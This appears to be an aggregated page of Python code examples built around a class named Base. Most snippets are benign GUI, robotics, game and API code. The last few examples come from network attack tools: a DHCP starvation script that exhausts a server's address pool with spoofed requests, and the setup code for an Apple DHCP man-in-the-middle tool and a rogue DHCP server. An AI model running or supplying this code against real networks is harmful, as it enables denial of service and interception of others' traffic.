Ejemplo n.º 1
0
 def __init__(self, user_id):
     Base.__init__(self, __name__)
     self.user_id = user_id
     self.config = ConfigParser.ConfigParser()
     self.config.read('config.ini')
     self.all_achievements = MootDao().get_achievements(self.user_id)
     self.all_products = MootDao().get_products(self.user_id)
Ejemplo n.º 2
0
    def __init__(self, seqTab, sequence, position, minusPrimer, plusPrimer, parent = None):
        super(Sequence, self).__init__()


        self.seqTab = seqTab
        self.baseClassL = self.seqTab.baseClassL
        self.sortBaseL = self.seqTab.sortBaseL

        print 'Id from Sequence item: ' + str(id(self.baseClassL))


        self.fill = QColor(100, 204, 150)
        self.seq = sequence
        self.rect = QRectF(0, 0, 12*len(self.seq), 30)
    #    self.setFlags(QGraphicsItem.ItemIsMovable)

        self.minusPrimer = minusPrimer
        self.plusPrimer = plusPrimer



        count = 0
        for nucleotide in self.seq:
            if count >= (len(self.seq))/2:
                primer = self.minusPrimer
            else:
                primer = self.plusPrimer
            base = Base(nucleotide, primer)
            base.setParentItem(self)
            base.setPos(count*12, 0)
            count = count + 1
            

        self.setPos(position[0], position[1])
Ejemplo n.º 3
0
 def __init__(self,_folder):
     self._folder = _folder
     base = Base(self._folder)
     if base.checker() == True:
         self.createDb()
     else:
         self.accessDb()
Ejemplo n.º 4
0
    def __init__(self, addr, port, network=None):
        Base.__init__(self, DFS(addr, port))
        self.fileSystem_ = FileSystem(self.dfs_)

        if not network:
            network = Network(self.dfs_, self.fileSystem_)
        self.network_ = network
Ejemplo n.º 5
0
 def __init__(self, pcapObj):    
     """pcap = pcap file name"""
     Base.__init__(self)
     self.total = 0
     self.p = pcapObj
     format = "%(filter)-40s %(total)10d\n"
     self.msg = stringFormatMessage(format=format)
Ejemplo n.º 6
0
    def tearDown(self):
        Base.tearDown(self)

        shutil.rmtree(self.dir1)
        shutil.rmtree(self.dir2)

        config.shutdown()
Ejemplo n.º 7
0
 def __init__( self, *args, **kwargs ):
     Base.__init__( self, *args, **kwargs )
     # Create x, y, z and camera normal axes
     self.axes.append( self.CreateArrow( Vec3(1, 0, 0), RED ) )
     self.axes.append( self.CreateArrow( Vec3(0, 1, 0), GREEN ) )
     self.axes.append( self.CreateArrow( Vec3(0, 0, 1), BLUE ) )
     self.axes.append( self.CreateSquare( Vec3(0, 0, 0), TEAL ) )
Ejemplo n.º 8
0
 def __init__(self, w):
     Base.__init__(self)
     self.__fname = None
     self.__pixman = PixMan(w)
     self.__currentLine = 0
     #cache the breakpoints in this code view:
     self.__breakpoints = { }
     self.__model = gtk.ListStore(
         gobject.TYPE_OBJECT,
         gobject.TYPE_STRING,
         gobject.TYPE_STRING,
         gobject.TYPE_STRING,
     )
     self.__init_pixbufs(w)
     self.__scrolled = gtk.ScrolledWindow()
     self.__scrolled.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
     self.__w = gtk.TreeView(self.__model)
     self.__thread = None
     self.__addr = 0
     self.__scrolled.add(self.__w)
     tree = self.__w
     tree.connect("button_press_event", self.__on_button_press)
     tree.set_headers_visible(False)
     tree.get_selection().set_mode(gtk.SELECTION_SINGLE)
     # for the arrow at the current program counter:
     renderer = gtk.CellRendererPixbuf()
     tree.append_column(gtk.TreeViewColumn("", renderer, pixbuf=0))
     renderer = gtk.CellRendererText()
     tree.append_column(gtk.TreeViewColumn("", renderer, text=1))
     tree.append_column(gtk.TreeViewColumn("", renderer, text=2))
     tree.append_column(gtk.TreeViewColumn("", renderer, text=3))
Ejemplo n.º 9
0
	def __init__(self,x,y,effect,interactions=False,effectTransforms=True,interactionTransforms=True,helmertConvert=False,*args,**kwargs):
		self.effect = effect
		self.k = self.effect.shape[1] # number of effects
		self.mk = [np.unique(self.effect[:,i]).shape[0] for i in range(self.k)] # number of levels for each effect

		self.effectTransforms = effectTransforms
		self.interactionTransforms = interactionTransforms

		if type(interactions) == bool:
			self.interactions = interactions
			self._interactions = {}
			for i in range(self.k):
				for j in range(i+1,self.k):
					self._interactions[(i,j)] = True
		elif type(interactions) == list:
			self.interactions = True
			self._interactions = {}
			for i,j in interactions:
				if j < i:
					i,j = j,i
				self._interactions[(i,j)] = True

		self.helmertConvert = helmertConvert

		self.contrasts = [self.buildEffectContrastMatrix(i) for i in range(self.k)]
		self.contrasts_interaction = {}
		self.projectionMatrices = {i:self._projectionMatrix(i) for i in range(self.k)}
		for i in range(self.k):
			for j in range(i):
				if self.interactions:
 					self.contrasts_interaction[(j,i)] = np.kron(self.contrasts[j],self.contrasts[i])
					self.projectionMatrices[(j,i)] = self._projectionMatrix(j,i)
		self._effectInteractionIndex = {} # starting index for each interaction in function matrix

		Base.__init__(self,x,y,*args,**kwargs)
Ejemplo n.º 10
0
 def __init__( self, *args, **kwargs ):
     Base.__init__( self, *args, **kwargs )
     
     self.AddAttributes(
         Attr( 'Name', str, TS.getName, TS.setName ),
         parent='TextureStage'
     )
Ejemplo n.º 11
0
 def test_base_fields(self):
     id = 3; name = "test"
     from base import Base
     base = Base(id, name)
     base.show()
     self.assertEqual(id, base.id)
     self.assertEqual(name, base.name)
Ejemplo n.º 12
0
 def __init__( self, label, type_, getFn, setFn, clearFn, srcComp=None, args=[] ):
     Base.__init__( self, label, type_, getFn, setFn, srcComp=srcComp )
     
     self.clearFn = clearFn
     self.args = args
     
     self.cnnctn = True
 def __init__(self, env = '', dir='', modules={}, vm=None, **kwargs):
     self.modules           = modules
     self.vm                = vm
     self.name              = env
     self.env               = env
     self.is_vm = False
     Base.__init__(self, vm, **kwargs)
Ejemplo n.º 14
0
	def __init__(self, *args, **kwargs):
		Base.__init__(self, *args, **kwargs)
		
		self.drawer = DrawerSDL()
		self.camera = Camera()
		
		self.objects = [] # Things in the system (eg, planets, stations)
Ejemplo n.º 15
0
 def xiin(self, xiinArgs):
     """
     The actual xiin workhorse.  See base.py for more information.
     """
     from base import Base
     xiinAction = Base()
     xiinAction.xiin(xiinArgs)
Ejemplo n.º 16
0
	def __init__(self, tree):
		Base.__init__(self)
		self.__model = gtk.ListStore(
			gobject.TYPE_PYOBJECT,
			gobject.TYPE_STRING,
			gobject.TYPE_STRING,
		)
		model_sort = gtk.TreeModelSort(self.__model)
		#start in a sorted state
		model_sort.set_sort_column_id(1, gtk.SORT_ASCENDING)

		if tree:
			renderer = gtk.CellRendererText()

			tree.set_model(model_sort)
			tree.append_column(gtk.TreeViewColumn("Name", renderer, text=1))
			tree.append_column(gtk.TreeViewColumn("Value", renderer, text=2))
			tree.get_column(0).set_resizable(True)
			tree.get_column(0).set_clickable(True)
			tree.get_column(1).set_clickable(True)
			tree.get_column(0).set_sort_column_id(1)
			tree.get_column(1).set_sort_column_id(2)

			#start in a sorted state
			tree.get_column(0).set_sort_order(gtk.SORT_ASCENDING)
			tree.get_column(0).set_sort_indicator(True)
Ejemplo n.º 17
0
 def __init__(self, directory='', modules={}, vm=None, **kwargs):
     self.modules           = modules
     self.vm                = vm
     self.name              = directory +'@name'
     self.directory         = directory
     self.is_vm = False
     Base.__init__(self, vm, **kwargs)
def main(argv):
  
  parser = argparse.ArgumentParser()
  parser.add_argument("apikey", type=str, help="Mashery V2 API Key")
  parser.add_argument("secret", type=str, help="Mashery V2 API Secret")
  parser.add_argument("siteId", type=str, help="Mashery Area/Site ID")
  parser.add_argument("outputFile", type=str, help="Output Filename")

  args = parser.parse_args()
  
  apikey = args.apikey
  secret = args.secret
  siteId = args.siteId
  outputFile = args.outputFile

  masheryV2 = Base('https', 'api.mashery.com', siteId, apikey, secret)

  allDevelopers = masheryV2.fetch('members', 'username, email, applications, keys, package_keys', '')

  f = open(outputFile,'w')
  headers = 'username, email, num_applications, num_keys, num_package_keys\n'
  f.write(headers)
  for developer in allDevelopers:
    fieldValues = ''
    fieldValues = fieldValues + '"' + developer['username'] + '",'
    fieldValues = fieldValues + '"' + developer['email'] + '",'
    fieldValues = fieldValues + str(len(developer['applications'])) + ','
    fieldValues = fieldValues + str(len(developer['keys'])) + ','
    fieldValues = fieldValues + str(len(developer['package_keys']))
    f.write(fieldValues + '\n')
Ejemplo n.º 19
0
 def __init__(self, nodes_ok, nodes_fail, proxies_ok, proxies_fail):
     Base.__init__(self, stat_json=json.dumps({
         'nodes_ok': nodes_ok,
         'nodes_fail': nodes_fail,
         'proxies_ok': proxies_ok,
         'proxies_fail': proxies_fail,
     }))
Ejemplo n.º 20
0
 def __init__(self, pcapObj):
     Base.__init__(self)
     self.exp = None
     self.p = pcapObj    
     self.action = None
     self.doWordSearch = 0                                
     format = "%(pattern)-10s %(proto)-5s %(source)-15s %(sport)-15s %(dest)-15s %(dport)-5s %(count)10s\n"  
     self.msg = stringFormatMessage(format=format)        
Ejemplo n.º 21
0
 def __init__(self):
     Base.__init__(self,name=None,size=None,pos=None,stat=None,col=None,img=None)
     self.velocity = 20
     self.hasReachedDestination = True
     self.endPosition = None
     self.path = []
     self.counter = 0
     self.listOfTreasures = []
Ejemplo n.º 22
0
    def __init__(self, *args, **kwargs):
        Base.__init__(self, *args, **kwargs)

        self.AddAttributes(
            Attr("Origin", pm.Point3, CR.getOrigin, CR.setOrigin),
            Attr("Direction", pm.Vec3, CR.getDirection, CR.setDirection),
            parent="CollisionRay",
        )
Ejemplo n.º 23
0
 def __init__( self, *args, **kwargs ):
     Base.__init__( self, *args, **kwargs )
     
     self.AddAttributes(
         Attr( 'Normal', pm.Vec3, initDefault=pm.Vec3( 0, 0, 1 ) ),
         Attr( 'Constant', int, initDefault=0 ),
         parent='BulletBoxShape'
     )
Ejemplo n.º 24
0
 def __init__( self, *args, **kwargs ):
     Base.__init__( self, *args, **kwargs )
     
     self.AddAttributes(
         Attr( 'Half Extents', pm.Vec3, BBS.getHalfExtentsWithMargin, 
               initDefault=pm.Vec3( 0.5, 0.5, 0.5 ) ),
         parent='BulletBoxShape'
     )
Ejemplo n.º 25
0
    def __init__(self, *args, **kwargs):
        Base.__init__(self, *args, **kwargs)

        self.AddAttributes(
            Attr("Center", pm.Point3, CS.getCenter, CS.setCenter),
            Attr("Radius", float, CS.getRadius, CS.setRadius),
            parent="CollisionSphere",
        )
Ejemplo n.º 26
0
	def __init__(self):
		Base.__init__(self)
		
		self.image = None
		
		# Variables for tiled to work with.
		self.xCameraMultiplier = 1		# tells the camera which direction is positive on the x axis
		self.yCameraMultiplier = 1		# and also for the y axis			
Ejemplo n.º 27
0
 def __init__(self,entries=None):
     if entries:
         Base.__init__(self, entries)
         return
     self.version = '1.0'
     self.session_id = ''
     self.values = '{}'
     self.created = datetime.now()
Ejemplo n.º 28
0
 def __init__(self, entries=None):
     if entries:
         Base.__init__(self, entries)
         return
     self.version = "1.0"
     self.api_id = ""
     self.api_data = {}
     self.lds = False
Ejemplo n.º 29
0
 def __init__( self, *args, **kwargs ):
     Base.__init__( self, *args, **kwargs )
     
     self.AddAttributes(
         Cnnctn( 'PhysicsWorld', BW, base.scene.GetPhysicsWorld, 
                 base.scene.SetPhysicsWorld, base.scene.ClearPhysicsWorld ),
         parent='Scene'
     )
Ejemplo n.º 30
0
 def __init__( self, *args, **kwargs ):
     Base.__init__( self, *args, **kwargs )
     
     self.AddAttributes(
         Attr( 'Name', str, T.getName, T.setName ),
         Attr( 'Full Path', Filename, T.getFullpath, self.SetTex ),
         parent='Texture'
     )
Ejemplo n.º 31
0
class Robot_Interface(object):
    """For usage with the Fetch robot."""

    def __init__(self, simulation=True):
        """Initializes various aspects of the Fetch.
        
        TODOs: get things working, also use `simulation` flag to change ROS
        topic names if necessary (especially for the cameras!). UPDATE: actually
        I don't think this is necessary now, they have the same topic names.
        """
        rospy.init_node("fetch")
        self.arm = Arm()
        self.arm_joints = ArmJoints()
        self.base = Base()
        self.camera = RGBD()
        self.head = Head()
        self.gripper = Gripper(self.camera)
        self.torso = Torso()
        self.joint_reader = JointStateReader()

        # Tucked arm starting joint angle configuration
        self.names = ArmJoints().names()
        self.tucked = [1.3200, 1.3999, -0.1998, 1.7199, 0.0, 1.6600, 0.0]
        self.tucked_list = [(x,y) for (x,y) in zip(self.names, self.tucked)]

        # Initial (x,y,yaw) position of the robot wrt map origin. We keep this
        # fixed so that we can reset to this position as needed. The HSR's
        # `omni_base.pose` (i.e., the start pose) returns (x,y,yaw) where yaw is
        # the rotation about that axis (intuitively, the z axis). For the base,
        # `base.odom` supplies both `position` and `orientation` attributes.
        start = copy.deepcopy(self.base.odom.position)
        yaw = Base._yaw_from_quaternion(self.base.odom.orientation)
        self.start_pose = np.array([start.x, start.y, yaw])
        self.TURN_SPEED = 0.3

        self.num_restarts = 0


    def body_start_pose(self, start_height=0.10, end_height=0.10, velocity_factor=None):
        """Sets the robot's body to some initial configuration.
        
        The HSR uses `whole_body.move_to_go()` which initializes an appropriate
        posture so that the hand doesn't collide with movement. For the Fetch,
        we should probably make the torso extend, so the arms can extend more
        easily without collisions. Use `move_to_joint_goal` since that uses
        motion planning. Do NOT directly set the joints without planning!!
        """
        self.torso.set_height(start_height)
        self.arm.move_to_joint_goal(self.tucked_list, velocity_factor=velocity_factor)
        self.torso.set_height(end_height)
        # Specific to the siemens challenge (actually a lot of this stuff is ...)
        if self.num_restarts == 0:
            self.base.turn(angular_distance=45*DEG_TO_RAD)
            self.num_restarts += 1


    def head_start_pose(self):
        """Hard-coded starting pose for the robot's head.
        
        These values are from the HSR. The Fetch needs a different pan and tilt.
        Positive pan means rotating counterclockwise when looking at robot from
        an aerial view.
        """
        self.head.pan_tilt(pan=0.0, tilt=0.8)


    def position_start_pose(self, offsets=None, do_something=False):
        """Assigns the robot's base to some starting pose.

        Mainly to "reset" the robot to the original starting position (and also,
        rotation about base axis) after it has moved, usually w/no offsets.
        
        Ugly workaround: we have target (x,y), and compute the distance to the
        point and the angle. We turn the Fetch according to that angle, and go
        forward. Finally, we do a second turn which corresponds to the target
        yaw at the end. This turns w.r.t. the current angle, so we undo the
        effect of the first turn.  See `examples/test_position_start_pose.py`
        for tests.
        
        Args:
            offsets: a list of length 3, indicating offsets in the x, y, and
            yaws, respectively, to be added onto the starting pose.
        """
        # Causing problems during my tests of the Siemens demo.
        if not do_something:
            return


        current_pos = copy.deepcopy(self.base.odom.position)
        current_theta = Base._yaw_from_quaternion(self.base.odom.orientation) # [-pi, pi]
        ss = np.array([current_pos.x, current_pos.y, current_theta])

        # Absolute target position and orientation specified with `pp`.
        pp = np.copy(self.start_pose)
        if offsets:
            pp += np.array(offsets)

        # Get distance to travel, critically assumes `pp` is starting position.
        dist = np.sqrt( (ss[0]-pp[0])**2 + (ss[1]-pp[1])**2 )
        rel_x = ss[0] - pp[0]
        rel_y = ss[1] - pp[1]
        assert -1 <= rel_x / dist <= 1
        assert -1 <= rel_y / dist <= 1

        # But we also need to be *facing* the correct direction, w/input [-1,1].
        # First, get the opposite view (facing "outwards"), then flip by 180.
        desired_facing = np.arctan2(rel_y, rel_x) # [-pi, pi], facing outward
        desired_theta  = math.pi + desired_facing # [0, 2*pi], flip by 180
        if desired_theta > math.pi:
            desired_theta -= 2*math.pi # [-pi, pi]
 
        # Reconcile with the current theta. Got this by basically trial/error
        angle = desired_theta - current_theta  # [-2*pi, 2*pi]
        if angle > math.pi:
            angle -= 2*math.pi 
        elif angle < -math.pi:
            angle += 2*math.pi 

        self.base.turn(angular_distance=angle, speed=self.TURN_SPEED)
        self.base.go_forward(distance=dist, speed=0.2)

        # Back at the start x, y, but now need to consider the _second_ turn.
        # The robot is facing at `desired_theta` rads, but wants `pp[2]` rads.
        final_angle = pp[2] - desired_theta
        if final_angle > math.pi:
            final_angle -= 2*math.pi 
        elif final_angle < -math.pi:
            final_angle += 2*math.pi 
        self.base.turn(angular_distance=final_angle, speed=self.TURN_SPEED)


    def get_img_data(self):
        """Obtain camera and depth image.
        
        Returns:
            Tuple containing RGB camera image and corresponding depth image.
        """
        c_img = self.camera.read_color_data()
        d_img = self.camera.read_depth_data()
        return (c_img, d_img)


    def get_depth(self, point, d_img):
        """Compute mean depth near grasp point.

        NOTE: assumes that we have a simlar `cfg.ZRANGE` as with the HSR. I'm
        not sure where exactly this comes from.
        """
        y, x = int(point[0]), int(point[1])
        z_box = d_img[y-ZRANGE:y+ZRANGE, x-ZRANGE:x+ZRANGE]
        indx = np.nonzero(z_box)
        z = np.mean(z_box[indx])
        return z


    def get_rot(self, direction):
        """Compute rotation of gripper such that given vector is grasped.

        Currently this directly follows the HSR code as there's nothing
        Fetch-dependent.
        """
        dy, dx = direction[0], direction[1]
        dx *= -1
        if dy < 0:
            dx *= -1
            dy *= -1
        rot = np.arctan2(dy, dx)
        rot = np.pi - rot
        return rot


    def create_grasp_pose(self, x, y, z, rot):
        """ If `intuitive=True` then x,y,z,rot interpreted wrt some link in the
        world, e.g., 'odom' for the Fetch. It's False by default to maintain
        backwards compatibility w/Siemens-based code.
        """
        pose_name = self.gripper.create_grasp_pose(x, y, z, rot)
        return pose_name

        
    def open_gripper(self):
        self.gripper.open()


    def close_gripper(self):
        self.gripper.close()


    def move_to_pose(self, pose_name, z_offset, velocity_factor=None):
        """Moves to a pose.
 
        In the HSR, moved the `hand_palm_link` to the frame named `pose_name` at
        the correct pose. For the Fetch we should be able to extract the pose
        from `pose_name` and then call the Arm's `move_to_pose` method.
        
        Args:
            pose_name: A string name for the pose to go 
            z_offset: Scalar offset in z-direction, offset is wrt the pose
                specified by `pose_name`.
            velocity_factor: controls the speed, closer to 0 means slower,
                closer to 1 means faster. (If 0.0, then it turns into 1.0 for
                some reason.) Values greater than 1.0 are cut to 1.0.
        """
        # See: 
        #   http://wiki.ros.org/tf/Tutorials/Writing%20a%20tf%20listener%20%28Python%29
        #   https://answers.ros.org/question/256354/does-tftransformlistenerlookuptransform-return-quaternion-position-or-translation-and-rotation/
        # First frame should be the reference frame, use `base_link`, not `odom`.
        point, quat = self.gripper.tl.lookupTransform('base_link', pose_name, rospy.Time(0))
        z_point = point[2] + z_offset

        # See:
        #   https://github.com/cse481wi18/cse481wi18/blob/indigo-devel/applications/scripts/cart_arm_demo.py
        #   https://github.com/cse481wi18/cse481wi18/wiki/Lab-19%3A-Cartesian-space-manipulation
        ps = PoseStamped()
        ps.header.frame_id = 'base_link'
        ps.pose = Pose(
                Point(point[0], point[1], z_point), 
                Quaternion(quat[0], quat[1], quat[2], quat[3])
        )

        # See `arm.py` written by Justin Huang
        error = self.arm.move_to_pose(pose_stamped=ps, velocity_factor=velocity_factor)
        if error is not None:
            rospy.logerr(error)


    def find_ar(self, ar_number, velocity_factor=None):
        try:
            ar_name = 'ar_marker/' + str(ar_number)

            # HSR code, with two hard-coded offsets?
            #self.whole_body.move_end_effector_pose(geometry.pose(y=0.08, z=-0.3), ar_name)

            # Fetch 'translation'. Note the `ar_name` for pose name.
            point, quat = self.gripper.tl.lookupTransform('base_link', ar_name, rospy.Time(0))
            y_point = point[1] + 0.08
            z_point = point[2] - 0.3

            ps = PoseStamped()
            ps.header.frame_id = 'base_link'
            ps.pose = Pose(
                    Point(point[0], y_point, z_point), 
                    Quaternion(quat[0], quat[1], quat[2], quat[3])
            )

            error = self.arm.move_to_pose(pose_stamped=ps, velocity_factor=velocity_factor)
            if error is not None:
                rospy.logerr(error)

            return True
        except:
            return False


    def pan_head(self, tilt):
        """Adjusts tilt of the robot, AND set pan at zero.
        
        Args: 
            tilt: Value in radians, positive means looking downwards.
        """
        self.head.pan_tilt(pan=0, tilt=tilt)
Ejemplo n.º 32
0
class FlappyBird:
    """
    Flappy bird game
    """

    BG_IMG = pygame.transform.scale2x(
        pygame.image.load(os.path.join("img", "bg.png")))
    SCORE_FONT = pygame.font.SysFont("comicsans", 50)
    CONFIG_PATH = os.path.join(os.path.dirname(__file__),
                               "config-feedforward.txt")

    def __init__(self, win_width=500, win_height=800):
        self.win_width = win_width
        self.win_height = win_height
        self.size = (win_width, win_height)
        self.gen = 0
        self.neat_init()

    def neat_init(self):
        """
        Initialize neat algorithm
        """
        self.config = neat.config.Config(neat.DefaultGenome,
                                         neat.DefaultReproduction,
                                         neat.DefaultSpeciesSet,
                                         neat.DefaultStagnation,
                                         self.CONFIG_PATH)

        self.population = neat.Population(self.config)
        self.population.add_reporter(neat.StdOutReporter(True))
        stats = neat.StatisticsReporter()
        self.population.add_reporter(stats)

    def on_init(self, genomes, config):
        """
        Initialize before the main loop
        """

        pygame.init()
        self.win = pygame.display.set_mode(self.size)
        pygame.display.set_caption("Flappy bird")
        self.clock = pygame.time.Clock()
        self.score = 0
        self.gen += 1

        self.nets = []
        self.ge = []
        self.birds = []

        for _, genome in genomes:
            genome.fitness = 0
            net = neat.nn.FeedForwardNetwork.create(genome, config)
            self.nets.append(net)
            self.birds.append(Bird(230, 350))
            self.ge.append(genome)

        self.base = Base(self.win_height)
        self.pipes = [Pipe(self.win_width + 200)]
        self.run = True

    def on_event(self, event):
        """
        Check for events
        """

        if event.type == pygame.QUIT:
            self.run = False
            pygame.quit()
            quit()

    def on_loop(self):
        """
        Compute changes in the game
        """

        self.clock.tick(30)
        self.base.move()
        self.pipe_movement()

        if not self.birds:
            self.run = False

    def pipe_movement(self):
        """
        Move pipes and check for collision with bird
        """

        pipe_idx = 0
        if self.birds[
                0].x > self.pipes[0].x + self.pipes[0].PIPE_TOP.get_width():
            pipe_idx = 1

        for idx, bird in enumerate(self.birds):
            bird.move()
            self.ge[idx].fitness += 0.1

            output = self.nets[idx].activate(
                (bird.y, abs(bird.y - self.pipes[pipe_idx].height),
                 abs(bird.y - self.pipes[pipe_idx].bot)))

            if output[0] > 0.5:
                bird.jump()

            if bird.y + bird.img.get_height(
            ) >= self.win_height - 70 or bird.y < 0:
                self.birds.pop(idx)
                self.nets.pop(idx)
                self.ge.pop(idx)

        for pipe in self.pipes:
            pipe.move()
            for idx, bird in enumerate(self.birds):
                if pipe.collide(bird):
                    self.ge[idx].fitness -= 1
                    self.birds.pop(idx)
                    self.nets.pop(idx)
                    self.ge.pop(idx)

                if not pipe.passed and pipe.x < bird.x:
                    pipe.passed = True

                    self.score += 1
                    for genome in self.ge:
                        genome.fitness += 5
                    self.pipes.append(Pipe(600))

            if pipe.x + pipe.PIPE_TOP.get_width() < 0:
                self.pipes.remove(pipe)

    def on_render(self):
        """
        Render all graphics
        """

        self.win.blit(self.BG_IMG, (0, 0))
        self.base.draw(self.win)
        for bird in self.birds:
            bird.draw(self.win)
        for pipe in self.pipes:
            pipe.draw(self.win)

        # Show score
        text = self.SCORE_FONT.render("Score: " + str(self.score), 1,
                                      (255, 255, 255))
        self.win.blit(text, (self.win_width - 10 - text.get_width(), 10))

        # Show generation
        text = self.SCORE_FONT.render("Gen: " + str(self.gen), 1,
                                      (255, 255, 255))
        self.win.blit(text, (10, 10))

        pygame.display.update()

    def main(self, genomes, config):
        """
        Creates the main loop
        """
        self.on_init(genomes, config)

        while self.run:
            for event in pygame.event.get():
                self.on_event(event)
            self.on_loop()
            self.on_render()

    def run_neat(self):
        """
        Run neat(NeuroEvolution of Augmenting Topologies) algorithm
        """
        self.population.run(self.main, 50)
Ejemplo n.º 33
0
 def startt(self, fn, rating, part, part2, material, size, a105, f22, f91,
            f92, wcb, wcc, wc9, c12a, c12ab):
     Base(fn, rating, part, part2, material, size, self.evp.get(),
          self.evs.get(), a105, f22, f91, f92, wcb, wcc, wc9, c12a, c12ab)
Ejemplo n.º 34
0
import engine
from base import Base, Filter
from datetime import datetime, time, date

########################################################################################################################

print('Welcome to database!' + '\n'
      + 'Which data you like to add:' + '\n'
      + '1. Add human' + '\n'
      + '2. Add crime' + '\n'
      + '3. Watch humans' + '\n'
      + '4. Watch crimes' + '\n'
      + '5. Find human by name' + '\n'
      + '6. Get crimes by date' + '\n'
      + '7. Get humans by period')
base = Base()

while True:
    choice = input('Write number: ')
############################################

    if choice == '1':
        f_name = input('Enter first name: ')
        l_name = input('Enter last name: ')
        b_date = input('Enter birth date: ')
        engine.add_human(f_name, l_name, b_date, base)

############################################

    elif choice == '2':
        date = input('Enter date: ')
Ejemplo n.º 35
0
from selenium import webdriver
from time import sleep
from base import Base, browser
driver = browser()
driver.get('http://127.0.0.1:81/zentao/user-login.html')
zentao = Base(driver)
loc_submit = ('id', 'submit')
r1 = zentao.is_alert()
print(r1)
zentao.click(loc_submit)
r2 = zentao.is_alert()
print(r2)
print(r2.text)
r2.accept()
sleep(2)
driver.quit()
Ejemplo n.º 36
0
    def setUp(self):
        self.connection = Connection(":memory:")
        self.engine = Generic(self.connection, self.dir_path, True, True)

        Base.setUp(self)
Ejemplo n.º 37
0
from network import Ethernet_raw, DHCP_raw, Sniff_raw
from tm import ThreadManager
from base import Base

from socket import socket, SOCK_RAW, AF_PACKET
from sys import exit
from os import system
from argparse import ArgumentParser
from datetime import datetime
from time import sleep, time
from random import randint
from json import dumps
# endregion

# region Check user, platform and print banner
Base = Base()
Base.check_user()
Base.check_platform()
Base.print_banner()
# endregion

# region Parse script arguments
parser = ArgumentParser(description='DHCP Starvation attack script')
parser.add_argument('-i',
                    '--interface',
                    type=str,
                    help='Set interface name for send discover packets')
parser.add_argument('-d',
                    '--delay',
                    type=int,
                    help='Set delay time in seconds (default: 1)',
Ejemplo n.º 38
0
def send_dhcp_discover():
    sleep(1)

    eth = Ethernet_raw()
    dhcp = DHCP_raw()

    Base.print_info("Sending discover packets...")
    Base.print_info("Delay between DISCOVER packets: ", str(args.delay),
                    " sec.")
    Base.print_info("Start sending packets: ",
                    str(datetime.now().strftime("%Y/%m/%d %H:%M:%S")))

    discover_raw_socket = socket(AF_PACKET, SOCK_RAW)
    discover_raw_socket.bind((listen_network_interface, 0))

    try:
        while True:

            client_mac = eth.get_random_mac()
            transaction_id = randint(1, 4294967295)

            discover_packet = dhcp.make_request_packet(
                source_mac=your_mac_address,
                client_mac=client_mac,
                transaction_id=transaction_id,
                dhcp_message_type=1,
                host_name=None,
                requested_ip=None,
                option_value=dhcp_option_value,
                option_code=dhcp_option_code,
                relay_agent_ip=your_ip_address)
            discover_raw_socket.send(discover_packet)
            transactions[transaction_id] = client_mac

            if int(time() - start_time) > args.timeout:
                if ack_received:
                    Base.print_success(
                        "IP address pool is exhausted: ",
                        str(datetime.now().strftime("%Y/%m/%d %H:%M:%S")))
                else:
                    Base.print_error("DHCP Starvation failed timeout!")
                sleep(1)
                exit(1)

            sleep(int(args.delay))

    except KeyboardInterrupt:
        Base.print_info("Exit")
        discover_raw_socket.close()
        exit(0)
Ejemplo n.º 39
0
def send_dhcp_request(request):

    # region Global variables
    global start_time
    global ack_received
    global transactions
    global dhcp_server_ip
    global dhcp_server_mac
    global global_socket
    # endregion

    if 'DHCP' in request.keys():

        # region Get reply transaction id, client ip
        xid = request['BOOTP']['transaction-id']
        yiaddr = request['BOOTP']['your-ip-address']
        siaddr = request['BOOTP']['server-ip-address']
        # endregion

        # region Get DHCP server IP
        if dhcp_server_ip is None:
            if siaddr == "0.0.0.0":
                dhcp_server_ip = request['IP']['source-ip']
            else:
                dhcp_server_ip = siaddr
            dhcp_server_mac = request['Ethernet']['source']
        # endregion

        # region Rewrite start time
        start_time = time()
        # endregion

        # region DHCP OFFER
        if request['DHCP'][53] == 2:
            if args.find_dhcp:
                Base.print_success("DHCP server IP: ", dhcp_server_ip)
                Base.print_success("DHCP server MAC: ", dhcp_server_mac)
                Base.print_success("DHCP packet: ")
                print(dumps(request, indent=4))
                exit(0)

            Base.print_info("OFFER from: ", dhcp_server_ip,
                            " your client ip: ", yiaddr)

            try:
                if args.not_send_hostname:
                    host_name = None
                else:
                    host_name = Base.make_random_string(8)

                dhcp = DHCP_raw()
                request_packet = dhcp.make_request_packet(
                    source_mac=your_mac_address,
                    client_mac=transactions[xid],
                    transaction_id=xid,
                    dhcp_message_type=3,
                    host_name=host_name,
                    requested_ip=yiaddr,
                    option_value=dhcp_option_value,
                    option_code=dhcp_option_code,
                    relay_agent_ip=your_ip_address)
                global_socket.send(request_packet)
            except KeyError:
                Base.print_error("Key error, this transaction id: ", hex(xid),
                                 " not found in our transactions!")
            except:
                Base.print_error("Unknown error!")
        # endregion

        # region DHCP ACK
        if request['DHCP'][53] == 5:
            ack_received = True
            Base.print_info("ACK from:   ", dhcp_server_ip,
                            " your client ip: ", yiaddr)
        # endregion

        # region DHCP NAK
        if request['DHCP'][53] == 6:
            Base.print_error("NAK from:   ", dhcp_server_ip,
                             " your client ip: ", yiaddr)
Ejemplo n.º 40
0
from arp_scan import ArpScan

from os import path, errno, makedirs, stat
from shutil import copyfile, copytree
import subprocess as sub
from argparse import ArgumentParser
from sys import exit, stdout
from time import sleep
from ipaddress import IPv4Address
from socket import socket, AF_PACKET, SOCK_RAW
from random import randint
import re
# endregion

# region Check user, platform and print banner
Base = Base()
Scanner = Scanner()
ArpScan = ArpScan()
Base.check_user()
Base.check_platform()
Base.print_banner()
# endregion

# region Parse script arguments
parser = ArgumentParser(description='Apple DHCP MiTM script')
parser.add_argument('-l',
                    '--listen_iface',
                    type=str,
                    help='Set interface name for send DHCPACK packets')
parser.add_argument('-d',
                    '--deauth_iface',
Ejemplo n.º 41
0
#!/usr/bin/env python

from base import Base
from network import Ethernet_raw, ARP_raw, DHCP_raw
from sys import exit
from argparse import ArgumentParser
from ipaddress import IPv4Address
from scapy.all import Ether, ARP, BOOTP, DHCP, sniff, sendp
from socket import socket, AF_PACKET, SOCK_RAW, inet_aton
from base64 import b64encode
from struct import pack
from netaddr import IPAddress
from tm import ThreadManager
from time import sleep

Base = Base()
Base.check_user()
Base.check_platform()

tm = ThreadManager(3)

parser = ArgumentParser(description='DHCP Rogue server')

parser.add_argument('-i', '--interface', help='Set interface name for send reply packets')
parser.add_argument('-f', '--first_offer_ip', type=str, help='Set first client ip for offering', default='192.168.0.2')
parser.add_argument('-l', '--last_offer_ip', type=str, help='Set last client ip for offering', default='192.168.0.253')
